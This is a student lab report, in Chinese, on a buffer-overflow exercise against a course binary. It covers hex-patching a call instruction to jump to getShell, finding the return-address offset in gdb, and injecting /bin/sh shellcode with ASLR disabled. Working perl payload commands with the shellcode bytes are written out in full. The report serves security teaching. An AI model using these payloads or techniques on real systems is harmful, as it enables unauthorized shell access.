1.实践内容
1.1 缓冲区
缓冲区是内存空间的一部分,在内存中预留了一定的存储空间,用来暂时保存输入和输出等I/O操作的一些数据,这些预留的空间就叫做缓冲区。
1.2 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
1.3 实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
2.实践过程
2.1 手工修改可执行文件
1、首先将 kali 虚拟机名称改为:maxing
2、将学习通中的pwn1文件复制到kali虚拟机中,进入桌面并修改桌面上的pwn1文件为pwn20231911
3、输入指令: objdump -d pwn20231911 | more ,对pwn20231911文件进行反汇编操作:
在命令行的众多信息中可以看到getShell、foo、main等一系列函数:
main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。
而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
如果现在不调用foo函数,改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。
4、下面进行具体修改:
首先使用指令: cp pwn20231911 task 对pwn20231911文件进行保护,防止破坏:
下载xxd
然后然后用vi编辑器打开拷贝出来的task,输入指令:vim task:
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。
接着输入指令::wq 进行保存并退出输入 ls -l,查看文件权限:
再次进入task文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3:
将格式更改回去,然后退出。
接着输入指令:objdump -d task | more进行验证:发现已经成功修改。
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串
1.可以看到:getShell起始函数地址为0804847d:
oo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba,接下来要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。
2.在虚拟机终端输入指令:apt install gdb,安装gdb:
接着输入命令:gdb pwn20231911调式程序:
3.输入r,回车,表示运行这个文件:
输入一定长字符串:123456123456123456123456123456123456
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出:
输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn20231911,pwn20231911就会运行getShell。
4.继续调试,输入r:
再输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
5.对比“eip 0x34333231 0x34333231”,我们的正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以先生成包括这样字符串的一个文件。
在一个新终端中键入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input:
然后输入xxd input:可以通过xxd查看文件十六进制格式的内容。
2.3 注入Shellcode并执行
设置堆栈可执行并查询文件的堆栈是否可执行、是否关闭地址随机化、关闭地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space
输入命令perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr:
然后在该终端运行(cat input_20231911;cat) | ./pwn20231911注入这段攻击buf
在新终端中用gdb的attach 3230命令启动gdb调试这个进程:
使用命令:disassemble foo命令反汇编,设置断点查看注入buf的内存地址:
输入指令:b *0x080484ae命令设置断点,输入“c”命令(continue)继续运行:
再返回调试终端,输入info r esp命令:
查看栈顶指针所在的位置为 0xffff d55c查找地址为0xffffd37c。
输入x/16x 0xffffd37c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd37c+0x00000004=0xFFFFD380,所以地址应为0xFFFFD380。
接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd380即可,用命令perl -e ‘print “A” x 32;print “\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20231911:
再用(cat input_20231911;cat) | ./pwn20231911命令次执行程序,攻击成功:
3.学习中遇到的问题及解决
问题1:Kali Linux E:Unable to locate package ,安装不了
解决:参考https://blog.csdn.net/weixin_43729943/article/details/104221462
4.实践总结
通过本次实验,我理解了缓冲区的一些基本情况,而且上课期间,老师也对缓冲区和堆栈问题对同学们进行了提问,并且自己最后也归纳总结,进行了解答,让我对这些知识点有了大致的了解。这次实验主要是一些包很难安装,然后要搜如何解决这个问题,花费大量时间,但也让我学到了,遇到困难要有锲而不舍的精神,一个一个解决。